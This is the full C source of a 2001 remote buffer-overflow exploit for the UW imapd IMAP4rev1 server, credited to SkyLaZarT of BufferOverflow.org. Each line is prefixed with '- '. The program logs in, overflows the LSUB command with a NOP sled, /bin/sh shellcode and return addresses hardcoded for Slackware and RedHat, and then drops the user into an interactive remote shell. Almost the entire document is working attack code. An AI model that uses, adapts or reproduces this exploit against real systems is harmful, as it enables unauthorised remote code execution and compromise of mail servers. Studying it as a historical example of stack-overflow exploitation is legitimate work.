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- /*
- * !!! Private !!!
- *
- * imapd IMAP4rev1 v12.261, v12.264 and 2000.284 Remote Exploit. Others? Yes!
- *
- * By: SkyLaZarT ( fcerqueira@bufferoverflow.org ) .aka. Felipe Cerqueira
- * Homepage: www.BufferOverflow.Org
- * Thankz: cync, oldm and Jans. ( BufferOverflow.org Team )
- * Antonio Marcelo and Felipe Saraiva
- *
- */
-
-
- #include <stdio.h>
- #include <string.h>
- #include <stdlib.h>
- #include <unistd.h>
- #include <errno.h>
- #include <signal.h>
-
- #include <sys/socket.h>
- #include <sys/types.h>
- #include <netdb.h>
- #include <netinet/in.h>
-
- #define SIZE 1064
- #define NOP 0x90
- #define RET12261 0xbffff3ec
- #define RET12264 0xbffff4e0
- #define RET12264ZOOT 0xbffff697
- #define RET2000_284 0xbfffebc8
-
- #define INIT(x) bzero(x, sizeof(x))
- #define READ(sock,x) read(sock, x, sizeof(x))
-
-
- #define TIMEOUT 20
-
- char shellcode[] =
- "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
- "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
- "\x80\xe8\xdc\xff\xff\xff/bin/sh";
-
- int debug = 0;
-
-
- void openshell(int sock, int check);
- void processSignal(int signum);
-
- void processSignal(int signum) {
- fprintf(stderr, "Time out!!\n");
- exit(-1);
- }
-
-
- void openshell(int sock, int check) {
- char buffer[1024];
- fd_set rset;
- int i;
-
- while(1) {
- FD_ZERO(&rset);
- FD_SET(sock, &rset);
- FD_SET(fileno(stdin), &rset);
-
- select(sock + 1, &rset, NULL, NULL, NULL);
-
- if (FD_ISSET(sock, &rset)) {
- if ((i = read(sock, buffer, sizeof(buffer))) <= 0) {
- fprintf(stderr, "Connection terminated!\n");
- close(sock);
- exit(-1);
- } else {
- buffer[i] = 0x00;
- if(check) {
- if (!(strstr(buffer, "uid"))) {
- fprintf(stderr, "Exploit failed\n");
- exit(-1);
- } else {
- fprintf(stderr, "Exploit Success!!\n");
- check = 0;
- }
- }
-
- puts(buffer);
- }
- }
-
- if (FD_ISSET(fileno(stdin), &rset)) {
- if ( check ) write(sock, "id\n", 3);
-
- if ((i = read(fileno(stdin), buffer,
- sizeof(buffer))) > 0) {
- buffer[i] = 0x00;
- write(sock, buffer, i);
- }
- }
- }
- }
-
-
- int main(int argc, char **argv) {
- char buffer[SIZE], sockbuffer[2048];
- char *login, *password;
- long retaddr;
- struct sockaddr_in sin;
- struct hostent *hePtr;
- int sock, i;
-
- fprintf(stderr, "\nRemote exploit for IMAP4rev1 v12.261, v12.264 and 2000.284\n"
- "Developed by SkyLaZarT - www.BufferOverflow.org\n\n");
-
- if ( argc < 5 ) {
- fprintf(stderr, "%s <host> <login> <password> <type> [offset]\n", argv[0]);
- fprintf(stderr, "\ttype: [0]\tSlackware 7.0 with IMAP4rev1 v12.261\n"
- "\ttype: [1]\tSlackware 7.1 with IMAP4rev1 v12.264\n"
- "\ttype: [2]\tRedHat 6.2 ZooT with IMAP4rev1 v12.264\n"
- "\ttype: [3]\tSlackware 7.0 with IMAP4rev1 2000.284\n\n");
-
-
- exit(-1);
- }
-
- login = argv[2];
- password = argv[3];
-
- switch(atoi(argv[4])) {
- case 0: retaddr = RET12261; break;
- case 1: retaddr = RET12264; break;
- case 2: retaddr = RET12264ZOOT; break;
- case 3: retaddr = RET2000_284; break;
- default:
- fprintf(stderr, "invalid type.. assuming default "
- "type 0\n");
- retaddr = RET12261; break;
-
- }
-
- if ( argc == 6 )
- retaddr += atoi(argv[5]);
-
- signal(SIGALRM, processSignal);
-
- fprintf(stderr, "Trying to exploit %s...\n", argv[1]);
-
- fprintf(stderr, "Using return address 0x%08lx. Shellcode size: %i bytes\n\n", retaddr, strlen(shellcode));
-
-
- alarm(TIMEOUT);
- hePtr = gethostbyname(argv[1]);
- if (!hePtr) {
- fprintf(stderr, "Unknow hostname : %s\n", strerror(errno));
- exit(-1);
- }
- alarm(0);
-
- sock = socket(AF_INET, SOCK_STREAM, 0);
- if ( sock < 0 ) {
- perror("socket()");
- exit(-1);
- }
-
- sin.sin_family = AF_INET;
- sin.sin_port = htons(143);
- memcpy(&sin.sin_addr, hePtr->h_addr, hePtr->h_length);
- bzero(&(sin.sin_zero), 8);
-
- fprintf(stderr, "Connecting... ");
- alarm(TIMEOUT);
- if ( connect(sock, (struct sockaddr *)&sin, sizeof(sin)) < 0 ) {
- fprintf(stderr, "failed to %s:143\n", argv[1]);
- exit(-1);
- }
- alarm(0);
-
- fprintf(stderr, "OK\n");
-
-
- for ( i = 0; i <= SIZE; i += 4 )
- *(long *)&buffer[i] = retaddr;
-
- for ( i = 0; i < ( SIZE - strlen(shellcode) - 100); i++ )
- *(buffer+i) = NOP;
-
- memcpy(buffer + i, shellcode, strlen(shellcode));
-
- INIT(sockbuffer);
- READ(sock, sockbuffer);
-
- if(debug) fprintf(stderr, "debug %s", sockbuffer);
-
- fprintf(stderr, "Trying to loging ... ");
-
- sprintf(sockbuffer, "1 LOGIN %s %s\n", login, password);
- write(sock, sockbuffer, strlen(sockbuffer));
-
- INIT(sockbuffer);
- READ(sock, sockbuffer);
-
- if(debug) fprintf(stderr, "debug %s", sockbuffer);
-
- if (!(strstr(sockbuffer, "OK LOGIN completed"))) {
- fprintf(stderr, "Login failed!!\n");
- close(sock);
- exit(-1);
- }
-
- fprintf(stderr, "OK\n");
-
- INIT(sockbuffer);
- sprintf(sockbuffer, "1 LSUB \"\" {1064}\r\n");
- write(sock, sockbuffer, strlen(sockbuffer));
-
- INIT(sockbuffer);
- READ(sock, sockbuffer);
-
- if(debug) fprintf(stderr, "debug %s", sockbuffer);
-
- if(!(strstr(sockbuffer, "Ready"))) {
- fprintf(stderr, "LSUB command failed\n");
- close(sock);
- exit(-1);
- }
-
- fprintf(stderr, "Sending shellcode... ");
-
- write(sock, buffer, 1064);
- write(sock, "\r\n", 2);
-
- fprintf(stderr, "OK\n");
-
- fprintf(stderr, "PRESS ENTER for exploit status!!\n\n");
-
- openshell(sock, 1);
-
- close(sock);
-
- return 0;
- }
- /* www.hack.co.za [3 March 2001]*/